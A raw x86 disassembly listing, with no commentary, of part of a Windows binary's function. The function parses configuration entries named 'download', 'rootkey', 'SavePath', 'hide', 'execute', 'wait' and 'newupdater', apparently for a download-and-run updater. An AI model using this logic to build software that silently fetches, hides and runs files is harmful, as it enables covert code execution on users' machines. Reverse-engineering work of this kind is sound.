lea ecx, [ebp - 0x95e0]
call fcn.00428a30
mov dword [ebp - 0x9cb4], eax
mov ecx, dword [ebp - 0x9cb4]
mov dword [ebp - 0x9884], ecx
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x27d0], 0
jne 0x42634c
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x27d0]
mov dword [ebp - 0x987c], edx
lea eax, [ebp - 0x95dc]
push eax
mov ecx, dword [ebp - 0x987c]
call fcn.00428dd0
mov dword [ebp - 0x9880], eax
mov ecx, dword [ebp - 0x9884]
push ecx
mov ecx, dword [ebp - 0x9880]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x95d5], al
cmp dword [ebp - 0x95dc], 0
je 0x4263ad
mov ecx, dword [ebp - 0x95dc]
call fcn.00428c60
mov dword [ebp - 0x95dc], 0
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x95e0], 0
je 0x4263cf
mov ecx, dword [ebp - 0x95e0]
call fcn.00428c60
mov dword [ebp - 0x95e0], 0
movzx edx, byte [ebp - 0x95d5]
test edx, edx
je 0x42650a
cmp dword [ebp - 0x27d0], 0
jne 0x4263f1
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x27d0]
mov dword [ebp - 0x9888], eax
lea ecx, [ebp - 0x95e4]
push ecx
mov ecx, dword [ebp - 0x9888]
call fcn.00429050
mov dword [ebp - 0x9cb8], eax
mov edx, dword [ebp - 0x9cb8]
mov dword [ebp - 0x9cbc], edx
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x9cbc]
call fcn.00428b10
mov dword [ebp - 0x9cc0], eax
mov eax, dword [ebp - 0x9cc0]
push eax
push 0x44e8dc
lea ecx, [ebp - 0x47d0]
push ecx
call fcn.0043b24a
add esp, 0xc
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x95e4], 0
je 0x426473
mov ecx, dword [ebp - 0x95e4]
call fcn.00428c60
mov dword [ebp - 0x95e4], 0
push SysReAllocString
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x95e8], esp
push 0x44e4c3
call fcn.004210d0
mov dword [ebp - 0x9cc4], eax
mov edx, dword [ebp - 0x9cc4]
mov dword [ebp - 0x9cc8], edx
mov byte [ebp - 4], 0x24
push ecx
mov ecx, esp
mov dword [ebp - 0x95ec], esp
push str.WRp
call fcn.004210d0
mov dword [ebp - 0x9ccc], eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x4810]
call fcn.00422490
mov dword [ebp - 0x9cd0], eax
mov byte [ebp - 4], 0x25
push ecx
mov ecx, esp
mov dword [ebp - 0x95f0], esp
lea eax, [ebp - 0x47d0]
push eax
call fcn.004210d0
mov dword [ebp - 0x9cd4], eax
lea ecx, [ebp - 0x4810]
call fcn.00422b50
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x4810]
call fcn.00422790
push str.nextupdate
lea ecx, [ebp - 0x95fc]
call fcn.00428a30
mov dword [ebp - 0x9cd8], eax
mov ecx, dword [ebp - 0x9cd8]
mov dword [ebp - 0x98bc], ecx
mov byte [ebp - 4], 0x26
cmp dword [ebp - 0x27d0], 0
jne 0x426543
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x27d0]
mov dword [ebp - 0x98b4], edx
lea eax, [ebp - 0x95f8]
push eax
mov ecx, dword [ebp - 0x98b4]
call fcn.00428dd0
mov dword [ebp - 0x98b8], eax
mov ecx, dword [ebp - 0x98bc]
push ecx
mov ecx, dword [ebp - 0x98b8]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x95f1], al
cmp dword [ebp - 0x95f8], 0
je 0x4265a4
mov ecx, dword [ebp - 0x95f8]
call fcn.00428c60
mov dword [ebp - 0x95f8], 0
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x95fc], 0
je 0x4265c6
mov ecx, dword [ebp - 0x95fc]
call fcn.00428c60
mov dword [ebp - 0x95fc], 0
movzx edx, byte [ebp - 0x95f1]
test edx, edx
je 0x4266f8
cmp dword [ebp - 0x27d0], 0
jne 0x4265e8
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x27d0]
mov dword [ebp - 0x98c0], eax
lea ecx, [ebp - 0x9600]
push ecx
mov ecx, dword [ebp - 0x98c0]
call fcn.00429050
mov dword [ebp - 0x9cdc], eax
mov edx, dword [ebp - 0x9cdc]
mov dword [ebp - 0x9ce0], edx
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x9ce0]
call fcn.00428b10
mov dword [ebp - 0x9ce4], eax
mov eax, dword [ebp - 0x9ce4]
push eax
push 0x44e8dc
lea ecx, [ebp - 0x47d0]
push ecx
call fcn.0043b24a
add esp, 0xc
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x9600], 0
je 0x42666a
mov ecx, dword [ebp - 0x9600]
call fcn.00428c60
mov dword [ebp - 0x9600], 0
lea edx, [ebp - 0x47d0]
push edx
call fcn.0043def6
add esp, 4
mov dword [ebp - 0x4814], eax
lea eax, [ebp - 0x4818]
push eax
call fcn.0043dccf
add esp, 4
mov ecx, dword [ebp - 0x4818]
add ecx, dword [ebp - 0x4814]
mov dword [ebp - 0x4818], ecx
push SysReAllocString
push 1
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x9604], esp
push str.WR_nextupdate
call fcn.004210d0
mov dword [ebp - 0x9ce8], eax
lea ecx, [ebp - 0x4838]
call fcn.004220b0
mov dword [ebp - 0x9cec], eax
mov byte [ebp - 4], 0x28
mov edx, dword [ebp - 0x4818]
push edx
lea ecx, [ebp - 0x4838]
call fcn.00422450
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x4838]
call fcn.00422080
jmp 0x42608e
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x27d0], 0
je 0x42671e
mov eax, dword [ebp - 0x27d0]
push eax
mov ecx, dword [ebp - 0x27d0]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
mov ecx, dword [ebp - 0x1c]
imul ecx, ecx, 0x14010
mov dword [ebp - 0x27c4], ecx
cmp dword [ebp - 0x1c], 0
jle 0x427b46
mov edx, dword [ebp - 0x27c4]
push edx
call fcn.0043bdaf
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4267f0
mov dword [ebp - 0x9608], 0
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x27b8], 0
je 0x42677f
mov ecx, dword [ebp - 0x27b8]
call fcn.00428c60
mov dword [ebp - 0x27b8], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x27c0]
call fcn.00421dca
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x27b0]
call fcn.00422790
mov byte [ebp - 4], 1
cmp dword [ebp - 0x850], 0
je 0x4267be
mov eax, dword [ebp - 0x850]
push eax
mov ecx, dword [ebp - 0x850]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
mov byte [ebp - 4], 0
cmp dword [ebp - 0x14], 0
je 0x4267d6
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
call ecx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.00421430
mov eax, dword [ebp - 0x9608]
jmp 0x428a0e
mov edx, dword [ebp - 0x27c4]
push edx
push 0
mov eax, dword [ebp - 0x18]
push eax
call fcn.0043b2d0
add esp, 0xc
mov dword [ebp - 0x483c], 0
mov dword [ebp - 0x4840], 0
mov byte [ebp - 4], 0x29
cmp dword [ebp - 0x14], 0
jne 0x42682d
push 0x80004003
call fcn.0044bc80
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x98d8], ecx
lea edx, [ebp - 0x960c]
push edx
mov ecx, dword [ebp - 0x98d8]
call fcn.00428f30
mov dword [ebp - 0x98dc], eax
mov eax, dword [ebp - 0x98dc]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x4840]
call fcn.0042a1f0
cmp dword [ebp - 0x960c], 0
je 0x42687f
mov edx, dword [ebp - 0x960c]
push edx
mov eax, dword [ebp - 0x960c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
jmp 0x4268e9
cmp dword [ebp - 0x4840], 0
jne 0x426894
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x4840]
mov dword [ebp - 0x98e0], eax
lea ecx, [ebp - 0x9610]
push ecx
mov ecx, dword [ebp - 0x98e0]
call fcn.00428fc0
mov dword [ebp - 0x98e4], eax
mov edx, dword [ebp - 0x98e4]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x4840]
call fcn.0042a1f0
cmp dword [ebp - 0x9610], 0
je 0x4268e9
mov ecx, dword [ebp - 0x9610]
push ecx
mov edx, dword [ebp - 0x9610]
mov eax, dword [edx]
mov ecx, dword [eax + 8]
call ecx
lea edx, [ebp - 0x4840]
push edx
push 0
call fcn.0042a280
add esp, 8
mov byte [ebp - 0x9ced], al
movzx eax, byte [ebp - 0x9ced]
test eax, eax
je 0x427b25
push str.download
lea ecx, [ebp - 0x961c]
call fcn.00428a30
mov dword [ebp - 0x9cf4], eax
mov ecx, dword [ebp - 0x9cf4]
mov dword [ebp - 0x98f8], ecx
mov byte [ebp - 4], 0x2a
cmp dword [ebp - 0x4840], 0
jne 0x426948
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x4840]
mov dword [ebp - 0x98f0], edx
lea eax, [ebp - 0x9618]
push eax
mov ecx, dword [ebp - 0x98f0]
call fcn.00428dd0
mov dword [ebp - 0x98f4], eax
mov ecx, dword [ebp - 0x98f8]
push ecx
mov ecx, dword [ebp - 0x98f4]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9611], al
cmp dword [ebp - 0x9618], 0
je 0x4269a9
mov ecx, dword [ebp - 0x9618]
call fcn.00428c60
mov dword [ebp - 0x9618], 0
mov byte [ebp - 4], 0x29
cmp dword [ebp - 0x961c], 0
je 0x4269cb
mov ecx, dword [ebp - 0x961c]
call fcn.00428c60
mov dword [ebp - 0x961c], 0
movzx edx, byte [ebp - 0x9611]
test edx, edx
je 0x427b20
mov eax, dword [ebp - 0x483c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
mov dword [ecx + eax + 0x1400c], 0
cmp dword [ebp - 0x4840], 0
jne 0x426a07
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x4840]
mov dword [ebp - 0x98fc], edx
lea eax, [ebp - 0x6844]
push eax
mov ecx, dword [ebp - 0x98fc]
call fcn.00428f30
mov dword [ebp - 0x9cf8], eax
mov byte [ebp - 4], 0x2b
jmp 0x426a99
cmp dword [ebp - 0x6844], 0
jne 0x426a44
push 0x80004003
call fcn.0044bc80
mov ecx, dword [ebp - 0x6844]
mov dword [ebp - 0x9900], ecx
lea edx, [ebp - 0x9620]
push edx
mov ecx, dword [ebp - 0x9900]
call fcn.00428fc0
mov dword [ebp - 0x9904], eax
mov eax, dword [ebp - 0x9904]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x6844]
call fcn.0042a1f0
cmp dword [ebp - 0x9620], 0
je 0x426a99
mov edx, dword [ebp - 0x9620]
push edx
mov eax, dword [ebp - 0x9620]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
lea eax, [ebp - 0x6844]
push eax
push 0
call fcn.0042a280
add esp, 8
mov byte [ebp - 0x9cf9], al
movzx ecx, byte [ebp - 0x9cf9]
test ecx, ecx
je 0x427af0
cmp dword [ebp - 0x6844], 0
jne 0x426ad2
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6844]
mov dword [ebp - 0x9908], edx
lea eax, [ebp - 0x6848]
push eax
mov ecx, dword [ebp - 0x9908]
call fcn.00428f30
mov dword [ebp - 0x9d00], eax
mov byte [ebp - 4], 0x2c
jmp 0x426b64
cmp dword [ebp - 0x6848], 0
jne 0x426b0f
push 0x80004003
call fcn.0044bc80
mov ecx, dword [ebp - 0x6848]
mov dword [ebp - 0x990c], ecx
lea edx, [ebp - 0x9624]
push edx
mov ecx, dword [ebp - 0x990c]
call fcn.00428fc0
mov dword [ebp - 0x9910], eax
mov eax, dword [ebp - 0x9910]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x6848]
call fcn.0042a1f0
cmp dword [ebp - 0x9624], 0
je 0x426b64
mov edx, dword [ebp - 0x9624]
push edx
mov eax, dword [ebp - 0x9624]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
lea eax, [ebp - 0x6848]
push eax
push 0
call fcn.0042a280
add esp, 8
mov byte [ebp - 0x9d01], al
movzx ecx, byte [ebp - 0x9d01]
test ecx, ecx
je 0x427a5a
cmp dword [ebp - 0x6848], 0
jne 0x426b9d
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9914], edx
lea eax, [ebp - 0x9628]
push eax
mov ecx, dword [ebp - 0x9914]
call fcn.00429050
mov dword [ebp - 0x9d08], eax
mov ecx, dword [ebp - 0x9d08]
mov dword [ebp - 0x9d0c], ecx
mov byte [ebp - 4], 0x2d
mov ecx, dword [ebp - 0x9d0c]
call fcn.00428b10
mov dword [ebp - 0x9d10], eax
mov edx, dword [ebp - 0x9d10]
push edx
push 0x44e8dc
lea eax, [ebp - 0x6840]
push eax
call fcn.0043b24a
add esp, 0xc
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9628], 0
je 0x426c1f
mov ecx, dword [ebp - 0x9628]
call fcn.00428c60
mov dword [ebp - 0x9628], 0
push str.rootkey
lea ecx, [ebp - 0x9634]
call fcn.00428a30
mov dword [ebp - 0x9d14], eax
mov ecx, dword [ebp - 0x9d14]
mov dword [ebp - 0x9930], ecx
mov byte [ebp - 4], 0x2e
cmp dword [ebp - 0x6848], 0
jne 0x426c58
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9928], edx
lea eax, [ebp - 0x9630]
push eax
mov ecx, dword [ebp - 0x9928]
call fcn.00428dd0
mov dword [ebp - 0x992c], eax
mov ecx, dword [ebp - 0x9930]
push ecx
mov ecx, dword [ebp - 0x992c]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9629], al
cmp dword [ebp - 0x9630], 0
je 0x426cb9
mov ecx, dword [ebp - 0x9630]
call fcn.00428c60
mov dword [ebp - 0x9630], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9634], 0
je 0x426cdb
mov ecx, dword [ebp - 0x9634]
call fcn.00428c60
mov dword [ebp - 0x9634], 0
movzx edx, byte [ebp - 0x9629]
test edx, edx
je 0x426d0a
lea eax, [ebp - 0x6840]
push eax
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x8000]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x44e890
lea ecx, [ebp - 0x9640]
call fcn.00428a30
mov dword [ebp - 0x9d18], eax
mov ecx, dword [ebp - 0x9d18]
mov dword [ebp - 0x9944], ecx
mov byte [ebp - 4], 0x2f
cmp dword [ebp - 0x6848], 0
jne 0x426d43
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x993c], edx
lea eax, [ebp - 0x963c]
push eax
mov ecx, dword [ebp - 0x993c]
call fcn.00428dd0
mov dword [ebp - 0x9940], eax
mov ecx, dword [ebp - 0x9944]
push ecx
mov ecx, dword [ebp - 0x9940]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9635], al
cmp dword [ebp - 0x963c], 0
je 0x426da4
mov ecx, dword [ebp - 0x963c]
call fcn.00428c60
mov dword [ebp - 0x963c], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9640], 0
je 0x426dc6
mov ecx, dword [ebp - 0x9640]
call fcn.00428c60
mov dword [ebp - 0x9640], 0
movzx edx, byte [ebp - 0x9635]
test edx, edx
je 0x426df5
lea eax, [ebp - 0x6840]
push eax
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0xa000]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.keyvalue
lea ecx, [ebp - 0x964c]
call fcn.00428a30
mov dword [ebp - 0x9d1c], eax
mov ecx, dword [ebp - 0x9d1c]
mov dword [ebp - 0x9958], ecx
mov byte [ebp - 4], 0x30
cmp dword [ebp - 0x6848], 0
jne 0x426e2e
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9950], edx
lea eax, [ebp - 0x9648]
push eax
mov ecx, dword [ebp - 0x9950]
call fcn.00428dd0
mov dword [ebp - 0x9954], eax
mov ecx, dword [ebp - 0x9958]
push ecx
mov ecx, dword [ebp - 0x9954]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9641], al
cmp dword [ebp - 0x9648], 0
je 0x426e8f
mov ecx, dword [ebp - 0x9648]
call fcn.00428c60
mov dword [ebp - 0x9648], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x964c], 0
je 0x426eb1
mov ecx, dword [ebp - 0x964c]
call fcn.00428c60
mov dword [ebp - 0x964c], 0
movzx edx, byte [ebp - 0x9641]
test edx, edx
je 0x426ee0
lea eax, [ebp - 0x6840]
push eax
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0xc000]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.requiredfile
lea ecx, [ebp - 0x9658]
call fcn.00428a30
mov dword [ebp - 0x9d20], eax
mov ecx, dword [ebp - 0x9d20]
mov dword [ebp - 0x996c], ecx
mov byte [ebp - 4], 0x31
cmp dword [ebp - 0x6848], 0
jne 0x426f19
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9964], edx
lea eax, [ebp - 0x9654]
push eax
mov ecx, dword [ebp - 0x9964]
call fcn.00428dd0
mov dword [ebp - 0x9968], eax
mov ecx, dword [ebp - 0x996c]
push ecx
mov ecx, dword [ebp - 0x9968]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x964d], al
cmp dword [ebp - 0x9654], 0
je 0x426f7a
mov ecx, dword [ebp - 0x9654]
call fcn.00428c60
mov dword [ebp - 0x9654], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9658], 0
je 0x426f9c
mov ecx, dword [ebp - 0x9658]
call fcn.00428c60
mov dword [ebp - 0x9658], 0
movzx edx, byte [ebp - 0x964d]
test edx, edx
je 0x426fcb
lea eax, [ebp - 0x6840]
push eax
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0xe000]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.filename
lea ecx, [ebp - 0x9664]
call fcn.00428a30
mov dword [ebp - 0x9d24], eax
mov ecx, dword [ebp - 0x9d24]
mov dword [ebp - 0x9980], ecx
mov byte [ebp - 4], 0x32
cmp dword [ebp - 0x6848], 0
jne 0x427004
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9978], edx
lea eax, [ebp - 0x9660]
push eax
mov ecx, dword [ebp - 0x9978]
call fcn.00428dd0
mov dword [ebp - 0x997c], eax
mov ecx, dword [ebp - 0x9980]
push ecx
mov ecx, dword [ebp - 0x997c]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9659], al
cmp dword [ebp - 0x9660], 0
je 0x427065
mov ecx, dword [ebp - 0x9660]
call fcn.00428c60
mov dword [ebp - 0x9660], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9664], 0
je 0x427087
mov ecx, dword [ebp - 0x9664]
call fcn.00428c60
mov dword [ebp - 0x9664], 0
movzx edx, byte [ebp - 0x9659]
test edx, edx
je 0x4270af
lea eax, [ebp - 0x6840]
push eax
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
add ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.parameters
lea ecx, [ebp - 0x9670]
call fcn.00428a30
mov dword [ebp - 0x9d28], eax
mov edx, dword [ebp - 0x9d28]
mov dword [ebp - 0x9994], edx
mov byte [ebp - 4], 0x33
cmp dword [ebp - 0x6848], 0
jne 0x4270e8
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x6848]
mov dword [ebp - 0x998c], eax
lea ecx, [ebp - 0x966c]
push ecx
mov ecx, dword [ebp - 0x998c]
call fcn.00428dd0
mov dword [ebp - 0x9990], eax
mov edx, dword [ebp - 0x9994]
push edx
mov ecx, dword [ebp - 0x9990]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9665], al
cmp dword [ebp - 0x966c], 0
je 0x427149
mov ecx, dword [ebp - 0x966c]
call fcn.00428c60
mov dword [ebp - 0x966c], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9670], 0
je 0x42716b
mov ecx, dword [ebp - 0x9670]
call fcn.00428c60
mov dword [ebp - 0x9670], 0
movzx eax, byte [ebp - 0x9665]
test eax, eax
je 0x42719a
lea ecx, [ebp - 0x6840]
push ecx
mov edx, dword [ebp - 0x483c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x2000]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.SaveAs
lea ecx, [ebp - 0x967c]
call fcn.00428a30
mov dword [ebp - 0x9d2c], eax
mov edx, dword [ebp - 0x9d2c]
mov dword [ebp - 0x99a8], edx
mov byte [ebp - 4], 0x34
cmp dword [ebp - 0x6848], 0
jne 0x4271d3
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x6848]
mov dword [ebp - 0x99a0], eax
lea ecx, [ebp - 0x9678]
push ecx
mov ecx, dword [ebp - 0x99a0]
call fcn.00428dd0
mov dword [ebp - 0x99a4], eax
mov edx, dword [ebp - 0x99a8]
push edx
mov ecx, dword [ebp - 0x99a4]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9671], al
cmp dword [ebp - 0x9678], 0
je 0x427234
mov ecx, dword [ebp - 0x9678]
call fcn.00428c60
mov dword [ebp - 0x9678], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x967c], 0
je 0x427256
mov ecx, dword [ebp - 0x967c]
call fcn.00428c60
mov dword [ebp - 0x967c], 0
movzx eax, byte [ebp - 0x9671]
test eax, eax
je 0x427285
lea ecx, [ebp - 0x6840]
push ecx
mov edx, dword [ebp - 0x483c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x4000]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.SavePath
lea ecx, [ebp - 0x9688]
call fcn.00428a30
mov dword [ebp - 0x9d30], eax
mov edx, dword [ebp - 0x9d30]
mov dword [ebp - 0x99bc], edx
mov byte [ebp - 4], 0x35
cmp dword [ebp - 0x6848], 0
jne 0x4272be
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x6848]
mov dword [ebp - 0x99b4], eax
lea ecx, [ebp - 0x9684]
push ecx
mov ecx, dword [ebp - 0x99b4]
call fcn.00428dd0
mov dword [ebp - 0x99b8], eax
mov edx, dword [ebp - 0x99bc]
push edx
mov ecx, dword [ebp - 0x99b8]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x967d], al
cmp dword [ebp - 0x9684], 0
je 0x42731f
mov ecx, dword [ebp - 0x9684]
call fcn.00428c60
mov dword [ebp - 0x9684], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9688], 0
je 0x427341
mov ecx, dword [ebp - 0x9688]
call fcn.00428c60
mov dword [ebp - 0x9688], 0
movzx eax, byte [ebp - 0x967d]
test eax, eax
je 0x427370
lea ecx, [ebp - 0x6840]
push ecx
mov edx, dword [ebp - 0x483c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x6000]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.hide
lea ecx, [ebp - 0x9694]
call fcn.00428a30
mov dword [ebp - 0x9d34], eax
mov edx, dword [ebp - 0x9d34]
mov dword [ebp - 0x99d0], edx
mov byte [ebp - 4], 0x36
cmp dword [ebp - 0x6848], 0
jne 0x4273a9
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x6848]
mov dword [ebp - 0x99c8], eax
lea ecx, [ebp - 0x9690]
push ecx
mov ecx, dword [ebp - 0x99c8]
call fcn.00428dd0
mov dword [ebp - 0x99cc], eax
mov edx, dword [ebp - 0x99d0]
push edx
mov ecx, dword [ebp - 0x99cc]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9689], al
cmp dword [ebp - 0x9690], 0
je 0x42740a
mov ecx, dword [ebp - 0x9690]
call fcn.00428c60
mov dword [ebp - 0x9690], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x9694], 0
je 0x42742c
mov ecx, dword [ebp - 0x9694]
call fcn.00428c60
mov dword [ebp - 0x9694], 0
movzx eax, byte [ebp - 0x9689]
test eax, eax
je 0x427473
movsx ecx, byte [ebp - 0x6840]
cmp ecx, 0x30
jne 0x42745c
mov edx, dword [ebp - 0x483c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
mov byte [eax + edx + 0x14001], 0
jmp 0x427473
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
mov byte [edx + ecx + 0x14001], 1
push str.execute
lea ecx, [ebp - 0x96a0]
call fcn.00428a30
mov dword [ebp - 0x9d38], eax
mov eax, dword [ebp - 0x9d38]
mov dword [ebp - 0x99e4], eax
mov byte [ebp - 4], 0x37
cmp dword [ebp - 0x6848], 0
jne 0x4274ac
push 0x80004003
call fcn.0044bc80
mov ecx, dword [ebp - 0x6848]
mov dword [ebp - 0x99dc], ecx
lea edx, [ebp - 0x969c]
push edx
mov ecx, dword [ebp - 0x99dc]
call fcn.00428dd0
mov dword [ebp - 0x99e0], eax
mov eax, dword [ebp - 0x99e4]
push eax
mov ecx, dword [ebp - 0x99e0]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9695], al
cmp dword [ebp - 0x969c], 0
je 0x42750d
mov ecx, dword [ebp - 0x969c]
call fcn.00428c60
mov dword [ebp - 0x969c], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x96a0], 0
je 0x42752f
mov ecx, dword [ebp - 0x96a0]
call fcn.00428c60
mov dword [ebp - 0x96a0], 0
movzx ecx, byte [ebp - 0x9695]
test ecx, ecx
je 0x427576
movsx edx, byte [ebp - 0x6840]
cmp edx, 0x30
jne 0x42755f
mov eax, dword [ebp - 0x483c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax + 0x14002], 0
jmp 0x427576
mov edx, dword [ebp - 0x483c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
mov byte [eax + edx + 0x14002], 1
push str.wait
lea ecx, [ebp - 0x96ac]
call fcn.00428a30
mov dword [ebp - 0x9d3c], eax
mov ecx, dword [ebp - 0x9d3c]
mov dword [ebp - 0x99f8], ecx
mov byte [ebp - 4], 0x38
cmp dword [ebp - 0x6848], 0
jne 0x4275af
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x99f0], edx
lea eax, [ebp - 0x96a8]
push eax
mov ecx, dword [ebp - 0x99f0]
call fcn.00428dd0
mov dword [ebp - 0x99f4], eax
mov ecx, dword [ebp - 0x99f8]
push ecx
mov ecx, dword [ebp - 0x99f4]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x96a1], al
cmp dword [ebp - 0x96a8], 0
je 0x427610
mov ecx, dword [ebp - 0x96a8]
call fcn.00428c60
mov dword [ebp - 0x96a8], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x96ac], 0
je 0x427632
mov ecx, dword [ebp - 0x96ac]
call fcn.00428c60
mov dword [ebp - 0x96ac], 0
movzx edx, byte [ebp - 0x96a1]
test edx, edx
je 0x42768a
movsx eax, byte [ebp - 0x6840]
cmp eax, 0x30
jne 0x427665
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
mov dword [edx + ecx + 0x14004], 0
jmp 0x42768a
mov esi, dword [ebp - 0x483c]
imul esi, esi, 0x14010
lea eax, [ebp - 0x6840]
push eax
call fcn.0043df0c
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dword [ecx + esi + 0x14004], eax
push str.newupdater
lea ecx, [ebp - 0x96b8]
call fcn.00428a30
mov dword [ebp - 0x9d40], eax
mov edx, dword [ebp - 0x9d40]
mov dword [ebp - 0x9a0c], edx
mov byte [ebp - 4], 0x39
cmp dword [ebp - 0x6848], 0
jne 0x4276c3
push 0x80004003
call fcn.0044bc80
mov eax, dword [ebp - 0x6848]
mov dword [ebp - 0x9a04], eax
lea ecx, [ebp - 0x96b4]
push ecx
